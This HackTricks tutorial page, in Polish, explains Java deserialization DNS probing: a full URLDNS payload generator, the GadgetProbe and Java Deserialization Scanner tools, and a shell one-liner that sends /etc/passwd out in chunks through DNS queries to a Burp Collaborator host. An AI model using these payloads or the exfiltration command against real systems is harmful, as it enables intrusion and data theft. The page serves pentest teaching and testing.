Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Zapytanie DNS o deserializację

Klasa java.net.URL implementuje Serializable, co oznacza, że ta klasa może być zserializowana.

public final class URL implements java.io.Serializable {

Ta klasa ma dziwne zachowanie. Z dokumentacji: "Dwa hosty są uważane za równoważne, jeśli obie nazwy hostów mogą zostać przekonwertowane na te same adresy IP". Wtedy, za każdym razem, gdy obiekt URL wywołuje którekolwiek z funkcji equals lub hashCode zostanie wysłane zapytanie DNS w celu uzyskania adresu IP.

Wywołanie funkcji hashCode z obiektu URL jest dość proste, wystarczy wstawić ten obiekt do HashMap, który zostanie zdeserializowany. Dzieje się tak, ponieważ na końcu funkcji readObject z HashMap ten kod jest wykonywany:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

To wykona putVal z każdą wartością w HashMap. Jednak bardziej istotne jest wywołanie hash z każdą wartością. Oto kod funkcji hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Jak można zauważyć, podczas deserializacji HashMap funkcja hash zostanie wykonana z każdym obiektem i podczas wykonania hash zostanie wykonane .hashCode() obiektu. Dlatego jeśli zdeserializujesz HashMap zawierający obiekt URL, obiekt URL wykona metodę .hashCode().

Teraz spójrzmy na kod URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Jak widać, gdy obiekt URLObject wykonuje .hashCode(), jest wywoływane hashCode(this). W kontynuacji możesz zobaczyć kod tej funkcji:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Możesz zobaczyć, że wywoływana jest metoda getHostAddress dla domeny, uruchamiając zapytanie DNS.

Dlatego ta klasa może być wykorzystana do uruchomienia zapytania DNS w celu demonstracji, że deserializacja jest możliwa, a nawet do wycieku informacji (możesz dołączyć wynik wykonania polecenia jako subdomenę).

Przykładowy kod ładunku URLDNS

Możesz znaleźć kod ładunku URLDNS z ysoserial tutaj. Jednakże, dla ułatwienia zrozumienia, jak to zrobić, stworzyłem własne PoC (oparte na tym z ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Więcej informacji

GadgetProbe

Możesz pobrać GadgetProbe ze sklepu aplikacji Burp Suite (Extender).

GadgetProbe spróbuje ustalić, czy niektóre klasy Java istnieją na klasie Java serwera, dzięki czemu możesz dowiedzieć się, czy jest podatny na znane exploity.

Jak to działa

GadgetProbe będzie używał tego samego ładunku DNS z poprzedniej sekcji, ale przed wykonaniem zapytania DNS spróbuje deserializować dowolną klasę. Jeśli dowolna klasa istnieje, zapytanie DNS zostanie wysłane, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli zapytanie DNS nie zostanie wysłane, oznacza to, że dowolna klasa nie została deserializowana pomyślnie, więc albo nie jest obecna, albo jest nie serializowalna/eksploatowalna.

W repozytorium na githubie, GadgetProbe ma listy słów z klasami Java do testowania.

Więcej informacji

Skaner deserializacji Java

Ten skaner można pobrać ze sklepu aplikacji Burp (Extender). Rozszerzenie ma zdolności pasywne i aktywne.

Pasywne

Domyślnie sprawdza pasywnie wszystkie wysyłane żądania i odpowiedzi w poszukiwaniu magicznych bajtów serializacji Java i wyświetli ostrzeżenie o podatności, jeśli jakiekolwiek zostaną znalezione:

Aktywne

Testowanie ręczne

Możesz wybrać żądanie, kliknąć prawym przyciskiem i Send request to DS - Manual Testing. Następnie, w zakładce Deserialization Scanner --> Zakładka testowania ręcznego możesz wybrać punkt wstrzyknięcia. I uruchomić testowanie (Wybierz odpowiedni atak w zależności od użytego kodowania).

Nawet jeśli to jest nazywane "Testowaniem ręcznym", jest dość zautomatyzowane. Automatycznie sprawdzi, czy deserializacja jest podatna na dowolny ładunek ysoserial, sprawdzając biblioteki obecne na serwerze internetowym i podświetli te podatne. Aby sprawdzić podatne biblioteki, możesz wybrać, aby uruchomić Javas Sleeps, sleeps poprzez zużycie CPU lub używając DNS, jak już wcześniej wspomniano.

Eksploatowanie

Po zidentyfikowaniu podatnej biblioteki możesz wysłać żądanie do zakładki Eksploatacja. W tej zakładce ponownie musisz wybrać punkt wstrzyknięcia, wpisać podatną bibliotekę, dla której chcesz utworzyć ładunek, i polecenie. Następnie wystarczy nacisnąć odpowiedni przycisk Atak.

Informacje o eksfiltracji DNS deserializacji Java

Spraw, aby twój ładunek wykonał coś w stylu:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Więcej informacji

Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated